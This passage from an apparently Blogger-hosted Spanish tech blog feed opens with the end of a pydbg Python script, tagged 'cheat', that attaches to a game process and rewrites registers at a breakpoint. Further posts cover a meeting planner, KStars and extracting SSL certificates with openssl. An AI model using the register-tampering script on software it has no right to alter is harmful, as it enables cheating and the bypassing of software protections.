style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt; &lt;span style="color:blue;font-weight:bold;"&gt;return&lt;/span&gt; &lt;span style="color:#000000;"&gt;pid&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;return&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;-&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;modificaDados&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;global&lt;/span&gt; &lt;span style="color:#000000;"&gt;dado1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;modificar&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:#000000;"&gt;modificar&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;print&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;'Modificando dados (%d,%d,%d)'&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;%&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt;&lt;span style="color:#000000;"&gt;dado3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;set_register&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'EAX'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;dado1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;set_register&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'EBX'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;dado2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;set_register&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;'ESI'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;dado3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;return&lt;/span&gt; &lt;span style="color:#000000;"&gt;pydbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;DBG_CONTINUE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#999;"&gt;#------------------------------------------------------------------------------&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#999;"&gt;# Principal&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:#000000;"&gt;__name__&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;==&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;'__main__'&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;global&lt;/span&gt; &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;pydbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;pydbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;proceso&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;"wancatan.exe"&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;pid&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;busca_pid&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;proceso&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:#000000;"&gt;pid&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;print&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;'Proceso %s no encontrado'&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;%&lt;/span&gt; &lt;span style="color:#000000;"&gt;proceso&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;sys&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;exit&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:#999;"&gt;# Arrancamos el interfaz gráfico&lt;br /&gt;&lt;/span&gt;        &lt;span style="color:#000000;"&gt;w&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;=&lt;/span&gt; &lt;span style="color:#000000;"&gt;Hebra&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;w&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;start&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;print&lt;/span&gt; &lt;span style="color:#cc0000;"&gt;"Enganchando %s(%d)"&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;%&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;proceso&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;pid&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;attach&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;pid&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;bp_set&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;0x475229&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;handler&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;modificaDados&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;dbg&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;run&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;Tags: &lt;a href="http://technorati.com/tag/python" rel="tag"&gt;python&lt;/a&gt; &lt;a href="http://technorati.com/tag/debugger" rel="tag"&gt;debugger&lt;/a&gt; &lt;a href="http://technorati.com/tag/pydbg" rel="tag"&gt;pydbg&lt;/a&gt; &lt;a href="http://technorati.com/tag/cheat" rel="tag"&gt;cheat&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-115688797713621847?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/115688797713621847/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=115688797713621847&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/115688797713621847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/115688797713621847'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/08/pydbg-debugear-aplicaciones-en-win32.html' title='pydbg: Debugear aplicaciones en win32 con python'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-115623353040165106</id><published>2006-08-22T09:51:00.000+02:00</published><updated>2006-08-22T09:58:50.416+02:00</updated><title type='text'>Planeador de reuniones para diferentes husos horarios</title><content type='html'>Nunca está de más tener a mano esta &lt;a href="http://www.timeanddate.com/worldclock/meeting.html"&gt;herramienta para seleccionar la hora de una reunión&lt;/a&gt;, un poner, digamos que pretendo hoy charlar con alguien de Aguascalientes y otra persona que se encuentra en Praga... vemos aquí el &lt;a href="http://www.timeanddate.com/worldclock/meetingtime.html?day=22&amp;month=8&amp;year=2006&amp;p1=141&amp;p2=9&amp;p3=204&amp;p4=-1"&gt;resultado de casar los horarios&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Más utilidades interesantes relacionadas con la hora y fecha en: &lt;a href="http://www.timeanddate.com/"&gt;http://www.timeanddate.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tags: &lt;a href="http://technorati.com/tag/fecha" rel="tag"&gt;fecha&lt;/a&gt; &lt;a href="http://technorati.com/tag/hora" rel="tag"&gt;hora&lt;/a&gt; &lt;a href="http://technorati.com/tag/huso" rel="tag"&gt;huso&lt;/a&gt; &lt;a href="http://technorati.com/tag/reunion" rel="tag"&gt;reunion&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-115623353040165106?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/115623353040165106/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=115623353040165106&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/115623353040165106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/115623353040165106'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/08/planeador-de-reuniones-para-diferentes.html' title='Planeador de reuniones para diferentes husos horarios'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-115528689686696144</id><published>2006-08-11T10:55:00.000+02:00</published><updated>2006-08-11T11:06:07.166+02:00</updated><title type='text'>Sentido del humor en gentoo</title><content type='html'>Estaba probando la profile 2006.1 y me encuentro con esto :D&lt;br /&gt;&lt;div align="center"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/4765/1262/1600/gentoo_profile.png"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/4765/1262/1600/gentoo_profile.1.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Tags: &lt;a href="http://technorati.com/tag/humor" rel="tag"&gt;humor&lt;/a&gt; &lt;a href="http://technorati.com/tag/gentoo" rel="tag"&gt;gentoo&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-115528689686696144?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/115528689686696144/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=115528689686696144&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/115528689686696144'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/115528689686696144'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/08/sentido-del-humor-en-gentoo.html' title='Sentido del humor en gentoo'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-115514760719650808</id><published>2006-08-09T19:52:00.000+02:00</published><updated>2006-09-02T14:28:38.666+02:00</updated><title type='text'>Seguir el movimiento de los astros</title><content type='html'>Ahora en veranito es la época en la que uno suele mirar al cielo estrellado y se pregunta que será cada uno de esos puntitos. Pues el otro día indagando cual será la próxima salida de la luna llena descubrí &lt;a href="http://edu.kde.org/kstars/"&gt;KStars&lt;/a&gt;, tal como dice su página, muestra una simulación gráfica del estado del firmamento en la fecha que elijamos, he aquí mis resultados:&lt;br /&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;a href="http://www.flickr.com/photo_zoom.gne?id=211099520&amp;size=o&amp;context=photostream"&gt;&lt;img src="http://static.flickr.com/79/211099520_f004cb8dfb.jpg" width="500" height="398" alt="kstars" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Aquí una captura avanzada de la puesta del sol del dia 1:&lt;br /&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;a href="http://www.flickr.com/photo_zoom.gne?id=211099521&amp;size=o&amp;context=photostream"&gt;&lt;img src="http://static.flickr.com/78/211099521_bc95613a71.jpg" width="500" height="399" alt="kstars" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para los que os guste el tema astronómico, os recomiendo echar un vistazo al &lt;a href="http://mizar.blogalia.com/"&gt;beso en la luna&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Actualización:&lt;br /&gt;Por fin encontré un sitio donde alojar gratis un flash:&lt;br /&gt;&lt;div align="center"&gt;&lt;embed src="http://img231.imageshack.us/img231/4913/cieloht6.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="540" height="405"&gt;&lt;/embed&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Tags: &lt;a href="http://technorati.com/tag/luna" rel="tag"&gt;luna&lt;/a&gt; &lt;a href="http://technorati.com/tag/firmamento" rel="tag"&gt;firmamento&lt;/a&gt; &lt;a href="http://technorati.com/tag/estrellas" rel="tag"&gt;estrellas&lt;/a&gt; &lt;a href="http://technorati.com/tag/planisferio" rel="tag"&gt;planisferio&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-115514760719650808?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/115514760719650808/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=115514760719650808&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/115514760719650808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/115514760719650808'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/08/seguir-el-movimiento-de-los-astros.html' title='Seguir el movimiento de los astros'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-115461361699892139</id><published>2006-08-03T15:43:00.000+02:00</published><updated>2006-08-03T16:00:17.016+02:00</updated><title type='text'>Extraer los certificados SSL de un determinado puerto</title><content type='html'>Con el comando "openssl s_client -showcerts -connect host:puerto" podemos obtener el certificado pem que opera en el dicho puerto, esto puede servirnos para añadirlo como certificado de confianza al cliente de correo, al navegador, etc.&lt;br /&gt;&lt;br /&gt;Por ej:&lt;br /&gt;&lt;pre class="codigo"&gt;$  openssl s_client -showcerts -connect smtp.gmail.com:465&lt;br /&gt;CONNECTED(00000003)&lt;br /&gt;depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;verify error:num=20:unable to get local issuer certificate&lt;br /&gt;verify return:1&lt;br /&gt;depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;verify error:num=27:certificate not trusted&lt;br /&gt;verify return:1&lt;br /&gt;depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;verify error:num=21:unable to verify the first certificate&lt;br /&gt;verify return:1&lt;br /&gt;---&lt;br /&gt;Certificate chain&lt;br /&gt; 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;   i:/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com&lt;br /&gt;-----BEGIN CERTIFICATE-----&lt;br /&gt;MIIDVjCCAr+gAwIBAgIDP97OMA0GCSqGSIb3DQEBBAUAMIHOMQswCQYDVQQGEwJa&lt;br /&gt;QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xHTAb&lt;br /&gt;BgNVBAoTFFRoYXd0ZSBDb25zdWx0aW5nIGNjMSgwJgYDVQQLEx9DZXJ0aWZpY2F0&lt;br /&gt;aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEwHwYDVQQDExhUaGF3dGUgUHJlbWl1bSBT&lt;br /&gt;ZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEWGXByZW1pdW0tc2VydmVyQHRoYXd0ZS5j&lt;br /&gt;b20wHhcNMDUwOTA1MDg1OTAyWhcNMDYwOTA1MDg1OTAyWjBoMQswCQYDVQQGEwJV&lt;br /&gt;UzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzET&lt;br /&gt;MBEGA1UEChMKR29vZ2xlIEluYzEXMBUGA1UEAxMOc210cC5nbWFpbC5jb20wgZ8w&lt;br /&gt;DQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMm+APV2IPBnnqOb5w15LPrpNaCfIDZm&lt;br /&gt;3Z41dg/rmhs7szXCx5oWvW6idYerguXQuw1B0XWKbYLJ9Lbz/kX2k9NpyeNmz0J7&lt;br /&gt;pLLBPoa0djthKfMQzgviWRmvad97JaFWFLxUGabISziA/0s3LB1VWMPX+IcxM0hs&lt;br /&gt;pSzdSzjkoI8LAgMBAAGjgaYwgaMwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUF&lt;br /&gt;BwMCMEAGA1UdHwQ5MDcwNaAzoDGGL2h0dHA6Ly9jcmwudGhhd3RlLmNvbS9UaGF3&lt;br /&gt;dGVQcmVtaXVtU2VydmVyQ0EuY3JsMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcw&lt;br /&gt;AYYWaHR0cDovL29jc3AudGhhd3RlLmNvbTAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3&lt;br /&gt;DQEBBAUAA4GBACvK1QfluQ26oqabKWaQUauwJQio6t/nRUmaN/cfB3EVeZihxELb&lt;br /&gt;+5a2aD/ljSUNLwEZb/OrG2eXGgnmwGrjERfLJurqYBXQuRwByAQ2lavucv4lgQmU&lt;br /&gt;Qumc3IhN67fNinoOoMa+/KZAYaoBPI8n6t/JR1/q30/rCZ64xKfnqYRf&lt;br /&gt;-----END CERTIFICATE-----&lt;br /&gt;---&lt;br /&gt;Server certificate&lt;br /&gt;subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;issuer=/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com&lt;br /&gt;---&lt;br /&gt;No client certificate CA names sent&lt;br /&gt;---&lt;br /&gt;SSL handshake has read 1012 bytes and written 338 bytes&lt;br /&gt;---&lt;br /&gt;New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA&lt;br /&gt;Server public key is 1024 bit&lt;br /&gt;SSL-Session:&lt;br /&gt;    Protocol  : TLSv1&lt;br /&gt;    Cipher    : DES-CBC3-SHA&lt;br /&gt;    Session-ID: 709EA2D2758A275A4B8C8075F359AF7C09D9A4D1EDF86AFCDA36B82E224C6F10&lt;br /&gt;    Session-ID-ctx:&lt;br /&gt;    Master-Key: 7D780A94C7242D8B9606E1D642A159435C14E7B85DE67E5D572737FCEED6657EA7309CBD6076518C1C6C703CE29AE414&lt;br /&gt;    Key-Arg   : None&lt;br /&gt;    Start Time: 1154612630&lt;br /&gt;    Timeout   : 300 (sec)&lt;br /&gt;    Verify return code: 21 (unable to verify the first certificate)&lt;br /&gt;---&lt;/pre&gt;&lt;br /&gt;Y ahora con yahoo:&lt;br /&gt;&lt;pre class="codigo"&gt;$ openssl s_client -showcerts -connect edit.europe.yahoo.com:443&lt;br /&gt;CONNECTED(00000003)&lt;br /&gt;depth=0 /C=US/ST=California/L=Santa Clara/O=Yahoo! Inc./OU=Yahoo/CN=edit.europe.yahoo.com&lt;br /&gt;verify error:num=20:unable to get local issuer certificate&lt;br /&gt;verify return:1&lt;br /&gt;depth=0 /C=US/ST=California/L=Santa Clara/O=Yahoo! Inc./OU=Yahoo/CN=edit.europe.yahoo.com&lt;br /&gt;verify error:num=27:certificate not trusted&lt;br /&gt;verify return:1&lt;br /&gt;depth=0 /C=US/ST=California/L=Santa Clara/O=Yahoo! Inc./OU=Yahoo/CN=edit.europe.yahoo.com&lt;br /&gt;verify error:num=21:unable to verify the first certificate&lt;br /&gt;verify return:1&lt;br /&gt;---&lt;br /&gt;Certificate chain&lt;br /&gt; 0 s:/C=US/ST=California/L=Santa Clara/O=Yahoo! Inc./OU=Yahoo/CN=edit.europe.yahoo.com&lt;br /&gt;   i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority&lt;br /&gt;-----BEGIN CERTIFICATE-----&lt;br /&gt;MIIC8zCCAlygAwIBAgIDBVGfMA0GCSqGSIb3DQEBBQUAME4xCzAJBgNVBAYTAlVT&lt;br /&gt;MRAwDgYDVQQKEwdFcXVpZmF4MS0wKwYDVQQLEyRFcXVpZmF4IFNlY3VyZSBDZXJ0&lt;br /&gt;aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDUwNTA2MTc0OTUwWhcNMDgwNTA2MTc0OTUw&lt;br /&gt;WjB+MQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEUMBIGA1UEBxML&lt;br /&gt;U2FudGEgQ2xhcmExFDASBgNVBAoUC1lhaG9vISBJbmMuMQ4wDAYDVQQLEwVZYWhv&lt;br /&gt;bzEeMBwGA1UEAxMVZWRpdC5ldXJvcGUueWFob28uY29tMIGfMA0GCSqGSIb3DQEB&lt;br /&gt;AQUAA4GNADCBiQKBgQCSCnaSDi6OhvE89DfhxiS5rVF7A1h1H0yyw/Fg8hzaiv1Q&lt;br /&gt;2NXNrE2vI5CoBieSVCJB2YkcoMcL6Wedb6YyzxJ4fc76XlOWD59Y6Z+gc32LKmnn&lt;br /&gt;EcffIKa469q4Ki0cjZY1ihBPQWMVOnLTYWPtrvmnfF3HhbEu4UWKSghK+lPOtQID&lt;br /&gt;AQABo4GuMIGrMA4GA1UdDwEB/wQEAwIE8DAdBgNVHQ4EFgQUg/3COzfXW02QwMmB&lt;br /&gt;SszHhQ9IVgowOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nZW90cnVzdC5j&lt;br /&gt;b20vY3Jscy9zZWN1cmVjYS5jcmwwHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gjIBBP&lt;br /&gt;M5iQn9QwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA0GCSqGSIb3DQEB&lt;br /&gt;BQUAA4GBABkKrkQwN+igsvY6/jFPzUJMdSXbx5+LrniOBXK3rWBW0LC2lFED9hg/&lt;br /&gt;zE/rh49IAYdTYE/UKVJW5DRnyhk95SpAiN53LlDdh+TKjOMim7lAk4B+kmreZHL9&lt;br /&gt;Zdq2eEDiWXoOx4hQq5vMjKz8Lgd58lBf/mXqEkBM6mOcGwd4uJms&lt;br /&gt;-----END CERTIFICATE-----&lt;br /&gt;---&lt;br /&gt;Server certificate&lt;br /&gt;subject=/C=US/ST=California/L=Santa Clara/O=Yahoo! Inc./OU=Yahoo/CN=edit.europe.yahoo.com&lt;br /&gt;issuer=/C=US/O=Equifax/OU=Equifax Secure Certificate Authority&lt;br /&gt;---&lt;/pre&gt;&lt;br /&gt;Tags: &lt;a href="http://technorati.com/tag/openssl" rel="tag"&gt;openssl&lt;/a&gt; &lt;a href="http://technorati.com/tag/certificados" rel="tag"&gt;certificados&lt;/a&gt; &lt;a href="http://technorati.com/tag/importar" rel="tag"&gt;importar&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-115461361699892139?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/115461361699892139/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=115461361699892139&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/115461361699892139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/115461361699892139'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/08/extraer-los-certificados-ssl-de-un.html' title='Extraer los certificados SSL de un determinado puerto'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 